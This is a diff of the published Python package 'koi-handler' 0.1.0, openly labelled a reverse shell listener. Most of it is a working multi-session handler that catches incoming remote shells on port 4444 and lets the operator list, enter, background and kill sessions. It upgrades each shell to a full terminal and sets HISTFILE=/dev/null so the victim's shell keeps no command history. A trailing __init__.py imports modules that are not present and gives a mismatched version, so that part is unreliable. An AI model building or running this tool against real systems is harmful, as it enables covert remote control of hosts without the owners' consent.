koi-handler 0.1.0__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,5 @@
1
+ Metadata-Version: 2.4
2
+ Name: koi-handler
3
+ Version: 0.1.0
4
+ Summary: Reverse shell listener
5
+ Requires-Python: >=3.10
@@ -0,0 +1,15 @@
1
+ [build-system]
2
+ requires = ["setuptools>=61", "wheel"]
3
+ build-backend = "setuptools.build_meta"
4
+
5
+ [project]
6
+ name = "koi-handler"
7
+ version = "0.1.0"
8
+ description = "Reverse shell listener"
9
+ requires-python = ">=3.10"
10
+
11
+ [project.scripts]
12
+ koi = "koi.main:main"
13
+
14
+ [tool.setuptools.packages.find]
15
+ where = ["src"]
@@ -0,0 +1,4 @@
1
+ [egg_info]
2
+ tag_build =
3
+ tag_date = 0
4
+
@@ -0,0 +1,498 @@
1
+ #!/usr/bin/env python3
2
+
3
+ from __future__ import annotations
4
+
5
+ import argparse
6
+ import os
7
+ import select
8
+ import shutil
9
+ import signal
10
+ import socket
11
+ import sys
12
+ import termios
13
+ import threading
14
+ import time
15
+ import tty
16
+ from dataclasses import dataclass, field
17
+ from datetime import datetime
18
+ from typing import Dict, Optional
19
+
20
+ sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
21
+
22
+ from koi.ui import (
23
+ gradient_text, colored_text, display_art, print_report_box, print_status_line, breaker, notify,
24
+ PUMPKIN, WHITE, SILVER, CORAL, UMBER,
25
+ _b, _d, _r, _g, _c, _p, _y, _o, _gr
26
+ )
27
+
28
+ LOCALUSER = os.getenv("USER") or os.getenv("USERNAME") or "user"
29
+
30
+ @dataclass
31
+ class Session:
32
+ id: int
33
+ conn: socket.socket
34
+ addr: tuple
35
+ connected_at: datetime = field(default_factory=datetime.now)
36
+ alive: bool = True
37
+ upgraded: bool = False
38
+ _lock: threading.Lock = field(default_factory=threading.Lock, repr=False)
39
+
40
+ def _uptime(self) -> str:
41
+ secs = int((datetime.now() - self.connected_at).total_seconds())
42
+ m, s = divmod(secs, 60)
43
+ h, m = divmod(m, 60)
44
+ return f"{h:02d}:{m:02d}:{s:02d}"
45
+
46
+ def status_dot(self) -> str:
47
+ if not self.alive:
48
+ return _gr("○")
49
+ return _p("◆") if self.upgraded else _r("●")
50
+
51
+ def send(self, data: bytes) -> bool:
52
+ try:
53
+ with self._lock:
54
+ self.conn.sendall(data)
55
+ return True
56
+ except OSError:
57
+ self.alive = False
58
+ return False
59
+
60
+ def close(self) -> None:
61
+ self.alive = False
62
+ for fn in (lambda: self.conn.shutdown(socket.SHUT_RDWR), self.conn.close):
63
+ try:
64
+ fn()
65
+ except OSError:
66
+ pass
67
+
68
+ class RawTerminal:
69
+ def __init__(self):
70
+ self._old = None
71
+ self._fd = sys.stdin.fileno()
72
+
73
+ def __enter__(self):
74
+ self._old = termios.tcgetattr(self._fd)
75
+ tty.setraw(self._fd)
76
+ return self
77
+
78
+ def __exit__(self, *_):
79
+ if self._old:
80
+ termios.tcsetattr(self._fd, termios.TCSADRAIN, self._old)
81
+
82
+ def print_help():
83
+ data = {
84
+ f"{_g('ls')}": "List all active sessions",
85
+ f"{_g('go')} {_p('<id>')}": "Enter a session interactively",
86
+ f"{_g('upgrade')} {_p('<id>')}": "Upgrade session to a full PTY",
87
+ f"{_g('kill')} {_p('<id>')}": "Terminate and remove a session",
88
+ f"{_g('help')}": "Show this message",
89
+ f"{_g('exit')}": "Shut down the listener",
90
+ }
91
+ print_report_box("Commands", data)
92
+ data = {
93
+ f"{_y('Ctrl+Z')}": "Background → return to listener shell",
94
+ f"{_y('Ctrl+C')}": "Send SIGINT to remote (keeps session alive)",
95
+ }
96
+ print_report_box("Session Signals", data)
97
+
98
+
99
+ class Listener:
100
+ CTRL_Z = b"\x1a"
101
+ CTRL_C = b"\x03"
102
+
103
+ def __init__(self, host: str = "0.0.0.0", port: int = 4444):
104
+ self.host = host
105
+ self.port = port
106
+ self._sessions: Dict[int, Session] = {}
107
+ self._next_id = 1
108
+ self._id_lock = threading.Lock()
109
+ self._running = False
110
+ self._server_sock: Optional[socket.socket] = None
111
+ self._notify_r, self._notify_w = os.pipe()
112
+
113
+ def _add(self, conn, addr) -> Session:
114
+ with self._id_lock:
115
+ sid = self._next_id
116
+ self._next_id += 1
117
+ sess = Session(id=sid, conn=conn, addr=addr)
118
+ self._sessions[sid] = sess
119
+ return sess
120
+
121
+ def _get(self, sid: int) -> Optional[Session]:
122
+ return self._sessions.get(sid)
123
+
124
+ def _remove(self, sid: int) -> None:
125
+ sess = self._sessions.pop(sid, None)
126
+ if sess:
127
+ sess.close()
128
+
129
+ def _prune(self) -> None:
130
+ for sid in [k for k, s in self._sessions.items() if not s.alive]:
131
+ self._sessions.pop(sid)
132
+
133
+ def _accept_loop(self):
134
+ while self._running:
135
+ try:
136
+ self._server_sock.settimeout(1.0)
137
+ conn, addr = self._server_sock.accept()
138
+ except socket.timeout:
139
+ continue
140
+ except OSError:
141
+ break
142
+
143
+ sess = self._add(conn, addr)
144
+ os.write(self._notify_w, b"1\n")
145
+ sys.stdout.write(f"\r\033[K")
146
+ notify('new', f"{_b(_c(f'#{sess.id}'))} {_c(addr[0])}{_gr(f':{addr[1]}')}")
147
+ sys.stdout.write(self._prompt())
148
+ sys.stdout.flush()
149
+
150
+ def start(self):
151
+ self._server_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
152
+ self._server_sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
153
+ self._server_sock.bind((self.host, self.port))
154
+ self._server_sock.listen(16)
155
+ self._running = True
156
+
157
+ threading.Thread(target=self._accept_loop, daemon=True, name="accept").start()
158
+
159
+ display_art()
160
+ print()
161
+ notify('info', f"Listening on {_b(self.host)}:{_b(self.port)}")
162
+ print()
163
+
164
+ self._main_loop()
165
+
166
+ def stop(self):
167
+ self._running = False
168
+ if self._server_sock:
169
+ try:
170
+ self._server_sock.close()
171
+ except OSError:
172
+ pass
173
+ for s in list(self._sessions.values()):
174
+ if s.upgraded:
175
+ s.send(b"exit\n")
176
+ time.sleep(0.5)
177
+ s.close()
178
+ print("\n" + gradient_text(" Shutting down. Goodbye.\n", PUMPKIN, UMBER))
179
+
180
+ def _prompt(self) -> str:
181
+ alive = sum(1 for s in self._sessions.values() if s.alive)
182
+ noun = "session" if alive == 1 else "sessions"
183
+ count = colored_text(str(alive), PUMPKIN if alive else SILVER)
184
+ return (
185
+ f"{LOCALUSER}"
186
+ + colored_text("@", PUMPKIN)
187
+ + colored_text("koi", WHITE)
188
+ + _gr("(")
189
+ + count
190
+ + _gr(f" {noun})")
191
+ + gradient_text(" ❯ ", PUMPKIN, CORAL)
192
+ )
193
+
194
+ def _main_loop(self):
195
+ while self._running:
196
+ try:
197
+ r, _, _ = select.select([self._notify_r], [], [], 0)
198
+ if r:
199
+ os.read(self._notify_r, 4096)
200
+ raw = input(self._prompt()).strip()
201
+ except EOFError:
202
+ break
203
+ except KeyboardInterrupt:
204
+ print()
205
+ continue
206
+
207
+ if not raw:
208
+ continue
209
+
210
+ parts = raw.split()
211
+ cmd = parts[0].lower()
212
+
213
+ if cmd in ("exit", "quit"):
214
+ self.stop()
215
+ return
216
+
217
+ elif cmd in ("help", "h", "?"):
218
+ print_help()
219
+
220
+ elif cmd in ("ls", "l", "list"):
221
+ self._cmd_ls()
222
+
223
+ elif cmd in ("go", "g", "interact"):
224
+ if len(parts) < 2:
225
+ notify('error', f"Usage: go {_p('<id>')}")
226
+ else:
227
+ try:
228
+ self._cmd_go(int(parts[1]))
229
+ except ValueError:
230
+ notify('error', "Session id must be an integer.")
231
+
232
+ elif cmd in ("upgrade", "u"):
233
+ if len(parts) < 2:
234
+ notify('error', f"Usage: upgrade {_p('<id>')}")
235
+ else:
236
+ try:
237
+ self._cmd_upgrade(int(parts[1]))
238
+ except ValueError:
239
+ notify('error', "Session id must be an integer.")
240
+
241
+ elif cmd == "kill":
242
+ if len(parts) < 2:
243
+ notify('error', f"Usage: kill {_p('<id>')}")
244
+ else:
245
+ try:
246
+ self._cmd_kill(int(parts[1]))
247
+ except ValueError:
248
+ notify('error', "Session id must be an integer.")
249
+
250
+ else:
251
+ notify('error', f"Unknown command: {_p(cmd)} — type {_b('help')}")
252
+
253
+ def _cmd_ls(self):
254
+ self._prune()
255
+ if not self._sessions:
256
+ print()
257
+ notify('status', _gr('No active sessions.'))
258
+ print()
259
+ return
260
+ data = {}
261
+ for s in sorted(self._sessions.values(), key=lambda x: x.id):
262
+ key = f"#{s.id} {s.status_dot()} {_c(s.addr[0])}{_gr(f':{s.addr[1]}')}"
263
+ data[key] = s._uptime()
264
+ print_report_box("Sessions", data)
265
+
266
+ def _cmd_go(self, sid: int):
267
+ self._prune()
268
+ sess = self._get(sid)
269
+ if sess is None:
270
+ notify('error', f"Session {_p(f'#{sid}')} not found.")
271
+ return
272
+ if not sess.alive:
273
+ notify('error', f"Session {_p(f'#{sid}')} is no longer alive.")
274
+ self._remove(sid)
275
+ return
276
+
277
+ ip, port = sess.addr
278
+ print()
279
+ notify('info', f"Entering session {_b(_r(f'#{sid}'))} {_c(ip)}{_gr(f':{port}')}")
280
+ notify('status', _gr('Ctrl+Z to background · Ctrl+C sends SIGINT to remote'))
281
+ print()
282
+
283
+ if sess.upgraded:
284
+ self._sync_winsize(sess)
285
+ self._drain(sess, 0.3)
286
+ sess.send(b"\n")
287
+ time.sleep(0.15)
288
+ signal.signal(signal.SIGWINCH, lambda *_: self._winch(sess))
289
+
290
+ breaker()
291
+
292
+ reason = self._interact(sess)
293
+
294
+ signal.signal(signal.SIGWINCH, signal.SIG_DFL)
295
+ print()
296
+ breaker()
297
+
298
+ if reason == "backgrounded":
299
+ print()
300
+ notify('warning', f"Session {_b(_c(f'#{sid}'))} backgrounded. Back at listener shell.")
301
+ print()
302
+ elif reason == "disconnected":
303
+ print()
304
+ notify('error', f"Session {_b(_c(f'#{sid}'))} disconnected.")
305
+ print()
306
+ self._remove(sid)
307
+
308
+ def _cmd_kill(self, sid: int):
309
+ sess = self._get(sid)
310
+ if sess is None:
311
+ notify('error', f"Session {_p(f'#{sid}')} not found.")
312
+ return
313
+ if sess.upgraded:
314
+ sess.send(b"exit\n")
315
+ time.sleep(0.5)
316
+ self._remove(sid)
317
+ notify('success', f"Session {_p(f'#{sid}')} terminated.")
318
+
319
+ def _drain(self, sess: Session, duration: float = 0.5) -> None:
320
+ """Read and discard incoming data for `duration` seconds."""
321
+ deadline = time.monotonic() + duration
322
+ while True:
323
+ remaining = deadline - time.monotonic()
324
+ if remaining <= 0:
325
+ break
326
+ try:
327
+ r, _, _ = select.select([sess.conn], [], [], min(remaining, 0.05))
328
+ if r:
329
+ sess.conn.recv(4096)
330
+ except OSError:
331
+ break
332
+
333
+ def _sync_winsize(self, sess: Session) -> None:
334
+ """Send stty rows/cols — caller must drain the echo afterwards."""
335
+ try:
336
+ cols, rows = shutil.get_terminal_size()
337
+ except Exception:
338
+ return
339
+ sess.send(f"stty rows {rows} cols {cols} 2>/dev/null\n".encode())
340
+
341
+ def _winch(self, sess: Session) -> None:
342
+ """SIGWINCH handler: sync size and silently drain echo."""
343
+ self._sync_winsize(sess)
344
+ self._drain(sess, 0.15)
345
+
346
+ def _cmd_upgrade(self, sid: int) -> None:
347
+ self._prune()
348
+ sess = self._get(sid)
349
+ if sess is None:
350
+ notify('error', f"Session {_p(f'#{sid}')} not found.")
351
+ return
352
+ if not sess.alive:
353
+ notify('error', f"Session {_p(f'#{sid}')} is no longer alive.")
354
+ self._remove(sid)
355
+ return
356
+ if sess.upgraded:
357
+ notify('warning', f"Session {_p(f'#{sid}')} is already upgraded.")
358
+ return
359
+
360
+ frames = ["⣾","⣽","⣻","⢿","⡿","⣟","⣯","⣷"]
361
+ stop_spin = threading.Event()
362
+
363
+ def _spin():
364
+ i = 0
365
+ while not stop_spin.is_set():
366
+ frame = colored_text(frames[i % len(frames)], PUMPKIN)
367
+ sys.stdout.write(f"\r {frame} {colored_text('Upgrading shell…', SILVER)}")
368
+ sys.stdout.flush()
369
+ time.sleep(0.08)
370
+ i += 1
371
+ sys.stdout.write("\r\033[K")
372
+ sys.stdout.flush()
373
+
374
+ spin_thread = threading.Thread(target=_spin, daemon=True)
375
+ spin_thread.start()
376
+
377
+ try:
378
+ spawn = (
379
+ "python3 -c 'import pty; pty.spawn(\"/bin/bash\")' 2>/dev/null || "
380
+ "python -c 'import pty; pty.spawn(\"/bin/bash\")' 2>/dev/null || "
381
+ "script -qc /bin/bash /dev/null\n"
382
+ )
383
+ sess.send(spawn.encode())
384
+ self._drain(sess, 0.8)
385
+
386
+ if not sess.alive:
387
+ stop_spin.set()
388
+ spin_thread.join()
389
+ notify('error', f"Session {_p(f'#{sid}')} died during upgrade.")
390
+ return
391
+
392
+ sess.send(b"export TERM=xterm-256color HISTFILE=/dev/null\n")
393
+ self._drain(sess, 0.3)
394
+
395
+ self._sync_winsize(sess)
396
+ self._drain(sess, 0.3)
397
+
398
+ sess.upgraded = True
399
+
400
+ finally:
401
+ stop_spin.set()
402
+ spin_thread.join()
403
+
404
+ notify('success', f"Shell {_p(f'#{sid}')} upgraded successfully.")
405
+
406
+ def _interact(self, sess: Session) -> str:
407
+ """
408
+ Full-duplex pass-through between local stdin/stdout and the remote socket.
409
+
410
+ Returns:
411
+ "backgrounded" – Ctrl+Z pressed
412
+ "disconnected" – remote closed the connection
413
+ """
414
+ stop_event = threading.Event()
415
+ result = ["backgrounded"]
416
+
417
+ def _recv():
418
+ while not stop_event.is_set() and sess.alive:
419
+ try:
420
+ r, _, _ = select.select([sess.conn], [], [], 0.1)
421
+ if not r:
422
+ continue
423
+ data = sess.conn.recv(4096)
424
+ if not data:
425
+ sess.alive = False
426
+ result[0] = "disconnected"
427
+ stop_event.set()
428
+ return
429
+ sys.stdout.buffer.write(data)
430
+ sys.stdout.buffer.flush()
431
+ except OSError:
432
+ sess.alive = False
433
+ result[0] = "disconnected"
434
+ stop_event.set()
435
+
436
+ recv_thread = threading.Thread(target=_recv, daemon=True)
437
+
438
+ with RawTerminal():
439
+ recv_thread.start()
440
+ try:
441
+ while not stop_event.is_set():
442
+ r, _, _ = select.select([sys.stdin], [], [], 0.1)
443
+ if not r:
444
+ continue
445
+ key = os.read(sys.stdin.fileno(), 1024)
446
+
447
+ if self.CTRL_Z in key:
448
+ before = key[: key.index(self.CTRL_Z)]
449
+ if before:
450
+ sess.send(before)
451
+ result[0] = "backgrounded"
452
+ stop_event.set()
453
+ break
454
+
455
+ if not sess.send(key):
456
+ result[0] = "disconnected"
457
+ stop_event.set()
458
+ break
459
+ except OSError:
460
+ pass
461
+
462
+ stop_event.set()
463
+ recv_thread.join(timeout=1.0)
464
+ return result[0]
465
+
466
+ def main():
467
+ parser = argparse.ArgumentParser(
468
+ description="ShellHandler – multi-session reverse shell listener",
469
+ )
470
+ parser.add_argument(
471
+ "--host", default="0.0.0.0",
472
+ help="Bind address (default: 0.0.0.0)"
473
+ )
474
+ parser.add_argument(
475
+ "--port", "-p", type=int, default=4444,
476
+ help="Listen port (default: 4444)"
477
+ )
478
+ args = parser.parse_args()
479
+
480
+ listener = Listener(host=args.host, port=args.port)
481
+
482
+ signal.signal(
483
+ signal.SIGINT,
484
+ lambda *_: (print(), notify('warning', f"Use {_b('exit')} to quit cleanly."))
485
+ )
486
+
487
+ try:
488
+ listener.start()
489
+ except PermissionError:
490
+ notify('error', f"Permission denied on port {args.port}.")
491
+ sys.exit(1)
492
+ except OSError as e:
493
+ notify('error', f"Cannot start listener: {e}")
494
+ sys.exit(1)
495
+
496
+
497
+ if __name__ == "__main__":
498
+ main()
@@ -0,0 +1,26 @@
1
+ from .core import ShellHandler
2
+ from .result import CommandResult, StreamLine
3
+ from .session import PersistentSession
4
+ from .exceptions import (
5
+ ShellHandlerError,
6
+ CommandTimeout,
7
+ CommandFailed,
8
+ MaxRetriesExceeded,
9
+ SessionClosed,
10
+ SessionTimeout,
11
+ )
12
+
13
+ __all__ = [
14
+ "ShellHandler",
15
+ "CommandResult",
16
+ "StreamLine",
17
+ "PersistentSession",
18
+ "ShellHandlerError",
19
+ "CommandTimeout",
20
+ "CommandFailed",
21
+ "MaxRetriesExceeded",
22
+ "SessionClosed",
23
+ "SessionTimeout",
24
+ ]
25
+
26
+ __version__ = "1.0.0"